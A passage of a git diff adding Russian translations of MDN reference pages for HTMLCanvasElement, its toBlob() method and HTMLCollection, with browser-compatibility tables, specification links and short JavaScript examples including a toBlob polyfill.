+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop('25')}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>2d <code>alpha</code> context attribute</td>
+   <td>32</td>
+   <td>{{CompatGeckoDesktop(30)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>failIfMajorPerformanceCaveat</code> attribute</p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(41)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>bitmaprenderer context</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(46)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (<code>2d</code> context)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>webgl</code> context</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>webgl2</code> context {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>2d <code>alpha</code> context attribute</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(30)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>failIfMajorPerformanceCaveat</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(41)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>bitmaprenderer context</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(46)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Chrome 9 and Gecko 1.9.2 initially implemented this as <code>experimental-webgl</code>. Since Chrome 33 and Gecko 24 it is implemented as the standard <code>webgl</code>.</p>
+
+<p>[2] Internet Explorer 11, WebKit 5.1 and Firefox Mobile implemented this as <code>experimental-webgl</code>.</p>
+
+<p>[3] Opera 9 implemented this as <code>experimental-webgl</code>, behind a user preference, in version 15.0 the user preference got removed.</p>
+
+<p>[4] Gecko 25 implements this as "<code>experimental-webgl2</code>" behind the user preference <code>webgl.enable-prototype-webgl2</code>. Starting with Gecko 42, the string "webgl2" is used behind the same preference.</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>The interface defining it, {{domxref("HTMLCanvasElement")}}.</li>
+ <li>{{domxref("OffscreenCanvas.getContext()")}}</li>
+ <li>Available rendering contexts: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} and {{domxref("WebGL2RenderingContext")}} and {{domxref("ImageBitmapRenderingContext")}}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlcanvaselement/index.html b/files/ru/web/api/htmlcanvaselement/index.html
new file mode 100644
index 0000000000..7a2b4d9d2c
--- /dev/null
+++ b/files/ru/web/api/htmlcanvaselement/index.html
@@ -0,0 +1,247 @@
+---
+title: HTMLCanvasElement
+slug: Web/API/HTMLCanvasElement
+tags:
+  - API
+  - Canvas
+  - HTML DOM
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/HTMLCanvasElement
+---
+<div>
+<div>{{APIRef("Canvas API")}}</div>
+</div>
+
+<p>Интерфейс <strong><code>HTMLCanvasElement</code></strong> предоставляет свойства и методы для управления расположением и представлением элеметов canvas. Он также наследует свойства и методы интерфейса {{domxref("HTMLElement")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследуются от родителя, </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.height")}}</dt>
+ <dd>Положительное целое число, отражающее HTML-атрибут {{htmlattrxref("height", "canvas")}} элемента {{HTMLElement("canvas")}} (воспринимается в пикселях CSS). Если атрибут не определён или имеет некорректное значение (например отрицательное), используется зачение по умолчанию  <code>— 150</code>.</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozOpaque")}} {{non-standard_inline}}</dt>
+ <dd>Объект {{jsxref("Boolean")}}, отражающий HTML-атрибут {{htmlattrxref("moz-opaque", "canvas")}} элемента {{HTMLElement("canvas")}}. Сообщает холсту, будет ли присутствовать прозрачность. Если холсту известно, что прозрачность не используется, отрисовка может быть оптимизирована.</dd>
+ <dt>{{domxref("HTMLCanvasElement.width")}}</dt>
+ <dd>Положительное целое число, отражающее HTML-атрибут {{htmlattrxref("width", "canvas")}} элемента {{HTMLElement("canvas")}} (воспринимается в пикселях CSS). Если атрибут не определён или имеет некорректное значение (например отрицательное), используется зачение по умолчанию  <code>— 300</code>.</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozPrintCallback")}}{{non-standard_inline}}</dt>
+ <dd>Is a <code>function</code> that is Initially null, Web content can set this to a JavaScript function that will be called if the page is printed. This function can then redraw the canvas at a higher resolution that is suitable for the printer being used. <a href="https://blog.mozilla.org/labs/2012/09/a-new-way-to-control-printing-output/">See this blog post.</a></dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследуются от родителя, </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.captureStream()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает {{domxref("CanvasCaptureMediaStream")}} — поток видео, которое захватывается в реальном времени с поверхности холста.</dd>
+ <dt>{{domxref("HTMLCanvasElement.getContext()")}}</dt>
+ <dd>Возвращает связный с холстом контекст, который позволяет рисовать на холсте. Если context ID не поддерживается, возвращает null. Вызов getContext с параметром <code>"2d"</code> возвращает объект {{domxref("CanvasRenderingContext2D")}}, тогда так вызов с параметром <code>"experimental-webgl"</code> (или <code>"webgl"</code>) возвращает объект {{domxref("WebGLRenderingContext")}}. Этот контекст поддерживается толко в браузерах, в которых реализован <a href="/en-US/docs/Web/WebGL">WebGL</a>.</dd>
+ <dt>{{domxref("HTMLCanvasElement.toDataURL()")}}</dt>
+ <dd>Возвращает data-URL, который содержит представление картинки в формате. указанном в параметре <code>type</code> (по умолчанию <code>png</code>). Возвращаемая картинка имеет разрешение 96dpi.</dd>
+ <dt>{{domxref("HTMLCanvasElement.toBlob()")}}</dt>
+ <dd>Создаёт объект {{domxref("Blob")}}, представляющий картинку, которая содержится в холсте. Этот файл может быть кэширован на диске или сохранён в памяти наусмотрение user agent.</dd>
+ <dt>{{domxref("HTMLCanvasElement.transferControlToOffscreen()")}} {{experimental_inline}}</dt>
+ <dd>Передаёт управление объекту {{domxref("OffscreenCanvas")}}, либо в main thread либо в worker.</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozGetAsFile()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Возвращает объект {{domxref("File")}} представляющий картинку, которая содержится в холсте. This file is a memory-based file, with the specified <code>name</code>. Если тип не указан, используется <code>image/png</code>.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture DOM Elements', '#html-media-element-media-capture-extensions', 'HTMLCanvasElement')}}</td>
+   <td>{{Spec2('Media Capture DOM Elements')}}</td>
+   <td>Adds the method <code>captureStream()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#the-canvas-element", "HTMLCanvasElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>The method <code>getContext()</code> now returns a {{domxref("RenderingContext")}} rather than an opaque <code>object</code>.<br>
+    The methods <code>probablySupportsContext()</code>, <code>setContext()</code> and <code>transferControlToProxy()</code>have been added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (<code>2D</code> context)</td>
+   <td>4.0</td>
+   <td>{{CompatGeckoDesktop('1.9.2')}}</td>
+   <td>9.0</td>
+   <td>9.0 [1]</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>toBlob()</code></td>
+   <td>50</td>
+   <td>{{CompatGeckoDesktop('19')}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} (bug <a href="https://bugs.webkit.org/show_bug.cgi?id=71270">71270</a>)</td>
+  </tr>
+  <tr>
+   <td><code>probablySupportsContext()</code>,<br>
+    <code>setContext()</code>,<br>
+    <code>transferControlToProxy()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozGetAsFile()</code> {{non-standard_inline}} {{deprecated_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop('2')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>captureStream()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop('41')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>transferControlToOffscreen()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(44)}} [3]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (<code>2D</code> context)</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0 [1]</td>
+   <td>3.2</td>
+  </tr>
+  <tr>
+   <td><code>webgl</code> context</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}} as <code>experimental-webgl</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>toBlob()</code></td>
+   <td>{{CompatNo}} (bug <a href="http://crbug.com/67587">67587</a>)</td>
+   <td>50</td>
+   <td>{{CompatGeckoMobile('18')}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} (bug <a href="https://bugs.webkit.org/show_bug.cgi?id=71270">71270</a>)</td>
+  </tr>
+  <tr>
+   <td><code>probablySupportsContext()</code>,<br>
+    <code>setContext()</code>,<br>
+    <code>transferControlToProxy() </code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozGetAsFile()</code> {{non-standard_inline}} {{deprecated_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile('2')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>captureStream() </code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile('41')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>transferControlToOffscreen()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(44)}} [3]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Opera Mini 5.0 and later has partial support.</p>
+
+<p>[2] Support for the third parameter, has been added in Gecko 25 only: when used with the <code>"image/jpeg"</code> type, this argument specifies the image quality.</p>
+
+<p>[3] This feature is behind a feature preference setting. In about:config, set <code>gfx.offscreencanvas.enabled</code> to <code>true</code>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>HTML element implementing this interface: {{HTMLElement("canvas")}}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlcanvaselement/toblob/index.html b/files/ru/web/api/htmlcanvaselement/toblob/index.html
new file mode 100644
index 0000000000..56cd5c0369
--- /dev/null
+++ b/files/ru/web/api/htmlcanvaselement/toblob/index.html
@@ -0,0 +1,266 @@
+---
+title: HTMLCanvasElement.toBlob()
+slug: Web/API/HTMLCanvasElement/toBlob
+translation_of: Web/API/HTMLCanvasElement/toBlob
+---
+<div>
+<div>
+<div>{{APIRef("Canvas API")}}</div>
+</div>
+</div>
+
+<p>Метод <strong><code>HTMLCanvasElement.toBlob()</code></strong> создаёт объект {{domxref("Blob")}} представляющий изображение, содержащееся в <code>canvas</code>; этот файл может быть закеширован на диске или храниться в памяти на усмотрение пользователя (<em>at the discretion of the user agent</em>). Если параметр <code>mimeType</code> не определён, типом изображения считается <code>image/png</code>. Созданное изображение имеет разрешение 96dpi.</p>
+
+<p>Третий аргумент используется для изображений с MIME-типом <code>image/jpeg</code> для определения его качества.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var>canvas</var>.toBlob(<var>callback</var>, <var>mimeType</var>, <var>qualityArgument</var>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>callback</dt>
+ <dd>Callback-функция с результирующим объектом {{domxref("Blob")}} в качестве единственного аргумента.</dd>
+ <dt><code>mimeType</code> {{optional_inline}}</dt>
+ <dd>Аргумент типа {{domxref("DOMString")}} определяющий формат изображения. По умолчанию <code>image/png</code>.</dd>
+ <dt><code>qualityArgument</code> {{optional_inline}}</dt>
+ <dd>Аргумент типа {{jsxref("Number")}} со значением от <code>0</code> до <code>1</code>, определяющий качество изображения, если заявлен MIME-тип <code>image/jpeg</code> или <code>image/webp</code>. Если этот аргумент содержит нечто иное, для определения качества изображения будет использовано значение по умолчанию. Остальные аргументы проигнорируются.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Не возвращает ничего.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Получение_файла_представленного_в_canvas">Получение файла, представленного в canvas</h3>
+
+<p>Как только вы нарисовали содержимое в <code>canvas</code>, вы можете сконвертировать его в файл изображения любого поддерживаемого формата. Ниже приведён фрагмент кода, для примера, принимает изображение в элементе {{HTMLElement("canvas")}} с ID = "canvas" и получает его копию в виде PNG изображения, затем добавляет в документ новый элемент {{HTMLElement("img")}}, исходное изображение которого создано с помощью холста.</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+
+canvas.toBlob(function(blob) {
+  var newImg = document.createElement('img'),
+      url = URL.createObjectURL(blob);
+
+  newImg.onload = function() {
+    // больше не нужно читать blob, поэтому он отменен
+    URL.revokeObjectURL(url);
+  };
+
+  newImg.src = url;
+  document.body.appendChild(newImg);
+});
+</pre>
+
+<p>Обратите внимание, что здесь мы создаём изображение PNG; если вы добавите второй параметр в вызов <code>toBlob()</code>, вы сможете определить тип необходимого изображения. Например, чтобы получить изображение в формате JPEG:</p>
+
+<pre class="brush: js"> canvas.toBlob(function(blob){...}, 'image/jpeg', 0.95); // JPEG в 95% качестве</pre>
+
+<div>
+<h3 id="A_way_to_convert_a_canvas_to_an_ico_Mozilla_only">A way to convert a canvas to an ico (Mozilla only)</h3>
+
+<p>Это использует <code>-moz-parse</code> для преобразования cnavas в ICO. Windows XP не поддерживает преобразование из PNG в ico, поэтому вместо этого использует bmp. Ссылка для загрузки создается путем установки атрибута загрузки. Значение атрибута загрузки - это имя, которое он будет использовать в качестве имени файла.</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var d = canvas.width;
+ctx = canvas.getContext('2d');
+ctx.beginPath();
+ctx.moveTo(d / 2, 0);
+ctx.lineTo(d, d);
+ctx.lineTo(0, d);
+ctx.closePath();
+ctx.fillStyle = 'yellow';
+ctx.fill();
+
+function blobCallback(iconName) {
+  return function(b) {
+    var a = document.createElement('a');
+    a.textContent = 'Download';
+    document.body.appendChild(a);
+    a.style.display = 'block';
+    a.download = iconName + '.ico';
+    a.href = window.URL.createObjectURL(b);
+  }
+}
+canvas.toBlob(blobCallback('passThisString'), 'image/vnd.microsoft.icon',
+              '-moz-parse-options:format=bmp;bpp=32');</pre>
+</div>
+
+<h3 id="Сохранение_toBlob_на_диске_ОСchromeadd-on_context_only">Сохранение toBlob на диске ОС(chrome/add-on context only)</h3>
+
+<div class="note">
+<p>Этот метод сохраняет его на рабочем столе и полезен только в контексте Firefox chrome или дополнительном коде, поскольку API ОС не присутствуют на веб-сайтах.</p>
+</div>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var d = canvas.width;
+ctx = canvas.getContext('2d');
+ctx.beginPath();
+ctx.moveTo(d / 2, 0);
+ctx.lineTo(d, d);
+ctx.lineTo(0, d);
+ctx.closePath();
+ctx.fillStyle = 'yellow';
+ctx.fill();
+
+function blobCallback(iconName) {
+  return function(b) {
+    var r = new FileReader();
+    r.onloadend = function () {
+    // r.result contains the ArrayBuffer.
+    Cu.import('resource://gre/modules/osfile.jsm');
+    var writePath = OS.Path.join(OS.Constants.Path.desktopDir,
+                                 iconName + '.ico');
+    var promise = OS.File.writeAtomic(writePath, new Uint8Array(r.result),
+                                      {tmpPath:writePath + '.tmp'});
+    promise.then(
+      function() {
+        console.log('successfully wrote file');
+      },
+      function() {
+        console.log('failure writing file')
+      }
+    );
+  };
+  r.readAsArrayBuffer(b);
+  }
+}
+
+canvas.toBlob(blobCallback('passThisString'), 'image/vnd.microsoft.icon',
+              '-moz-parse-options:format=bmp;bpp=32');</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-toblob", "HTMLCanvasElement.toBlob")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "scripting-1.html#dom-canvas-toblob", "HTMLCanvasElement.toBlob")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-toblob", "HTMLCanvasElement.toBlob")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of the {{SpecName('HTML WHATWG')}} containing the initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("50")}}</td>
+   <td>{{CompatGeckoDesktop('19')}}</td>
+   <td>{{CompatIE(10)}}{{property_prefix("ms")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td>Image quality parameter</td>
+   <td>{{CompatChrome("50")}}</td>
+   <td>{{CompatGeckoDesktop('25')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("50")}}</td>
+   <td>{{CompatGeckoMobile("19")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome("50")}}</td>
+  </tr>
+  <tr>
+   <td>Image quality parameter</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("50")}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome("50")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] See {{WebKitBug("71270")}}.</p>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<p>Полифилл, основанный на toDataURL, со слабой производительностью.</p>
+
+<pre>if (!HTMLCanvasElement.prototype.toBlob) {
+  Object.defineProperty(HTMLCanvasElement.prototype, 'toBlob', {
+    value: function (callback, type, quality) {
+      var dataURL = this.toDataURL(type, quality).split(',')[1];
+      setTimeout(function() {
+
+        var binStr = atob( dataURL ),
+            len = binStr.length,
+            arr = new Uint8Array(len);
+
+        for (var i = 0; i &lt; len; i++ ) {
+          arr[i] = binStr.charCodeAt(i);
+        }
+
+        callback( new Blob( [arr], {type: type || 'image/png'} ) );
+
+      });
+    }
+  });
+}</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>The interface defining it, {{domxref("HTMLCanvasElement")}}.</li>
+ <li>{{domxref("Blob")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlcollection/index.html b/files/ru/web/api/htmlcollection/index.html
new file mode 100644
index 0000000000..ef674de414
--- /dev/null
+++ b/files/ru/web/api/htmlcollection/index.html
@@ -0,0 +1,68 @@
+---
+title: HTMLCollection
+slug: Web/API/HTMLCollection
+translation_of: Web/API/HTMLCollection
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>Интерфейс <strong><code>HTMLCollection</code></strong> является обобщённой коллекцией (объектом, ведущим себя подобно массиву) элементов (в порядке упоминания в документе) и предоставляет методы и свойства для получения хранящихся в нём элементов.</p>
+
+<div class="note"><strong>Замечание:</strong> Интерфейс назван <code>HTMLCollection</code> по историческим причинам. До стандарта DOM4 коллекции, реализующие данный интерфейс, использовались только для хранения HTML элементов.</div>
+
+<p><code>HTMLCollection</code>, хранящая элементы DOM, является динамической. При изменении документа она моментально отражает все произведённые изменения.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("HTMLCollection.length")}} {{readonlyInline}}</dt>
+ <dd>Возвращает количество элементов в коллекции.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("HTMLCollection.item()")}}</dt>
+ <dd>Возвращает узел с порядковым номером <code>index</code>; отсчёт ведётся от нуля. Возвращает <code>null</code>, если <code>index </code>выходит за границы допустимого диапазона.</dd>
+ <dt>{{domxref("HTMLCollection.namedItem()")}}</dt>
+ <dd>Возвращает узел, идентификатор или имя (в целях совместимости) которого совпадает со строкой, переданной в аргументе <code>name</code>. Соответствие имени проверяется в самую последнюю очередь, только для HTML элементов и только для тех из них, которые поддерживают свойство <code>name</code>. Возвращает <code>null</code> , если искомый элемент отсутствует.</dd>
+</dl>
+
+<h2 id="Использование_в_JavaScript">Использование в JavaScript</h2>
+
+<p><code>HTMLCollection</code> предоставляет своё содержимое как собственные свойства, доступные как по имени, так и по индексу (как в массиве). Это связано с тем, что идентификаторы HTML элементов, содержащие точки и двоеточие (допустимо в HTML5), адресуемы исключительно через синтаксис доступа к массиву. Однако, при числовых идентификаторах невозможно определить, производится ли запрос по индексу или по идентификатору, неявно приведённому к числу.</p>
+
+<p>Пусть в документе присутствует элемент <code>&lt;form&gt; </code>с <code>id,</code> равным «<code>myForm</code>»<code>:</code></p>
+
+<pre class="brush:js">var elem1, elem2;
+
+// document.forms имеет тип HTMLCollection
+
+elem1 = document.forms[0];
+elem2 = document.forms.item(0);
+
+alert(elem1 === elem2); // выводит "true"
+
+elem1 = document.forms.myForm;
+elem2 = document.forms.namedItem("myForm");
+
+alert(elem1 === elem2); // выводит "true"
+
+elem1 = document.forms["named.item.with.periods"];</pre>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>Браузеры по разному ведут себя при наличии нескольких элементов с одинаковыми индексами, либо значениями свойств <code>namedItem</code>. Firefox 8 действует в соответствии с DOM2 и DOM4, возвращая первое совпадение. Internet Explorer и браузеры на основе WebKit возвращают новый экземпляр <code>HTMLCollection</code>. Opera возвращает {{domxref("NodeList")}} со всеми найденными элементами.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-75708506" title="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-75708506">DOM Level 2 HTML, Section 1.4, Miscellaneous Object Definitions</a></li>
+ <li><a href="http://www.w3.org/TR/domcore/#interface-htmlcollection" title="http://www.w3.org/TR/domcore/#interface-htmlcollection">DOM4: HTMLCollection</a></li>
+</ul>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("NodeList")}}</li>
+ <li>{{domxref("HTMLFormControlsCollection")}}, {{domxref("HTMLOptionsCollection")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlcollection/item/index.html b/files/ru/web/api/htmlcollection/item/index.html
new file mode 100644
index 0000000000..01d6dd29f5
--- /dev/null
+++ b/files/ru/web/api/htmlcollection/item/index.html
@@ -0,0 +1,41 @@
+---
+title: HTMLCollection.item
+slug: Web/API/HTMLCollection/item
+tags:
+  - API
+  - HTML DOM
+  - Property
+  - Reference
+translation_of: Web/API/HTMLCollection/item
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><code>HTMLCollection.item() получает элемент с заданым индексом</code>.</p>
+
+<h3 id="Аргументы">Аргументы</h3>
+
+<dl>
+ <dt>index</dt>
+ <dd>Позиция возвращаемого документа. В объекте HTMLCollection элементы находятся в том же порядке, в каком они расположены в документе. </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
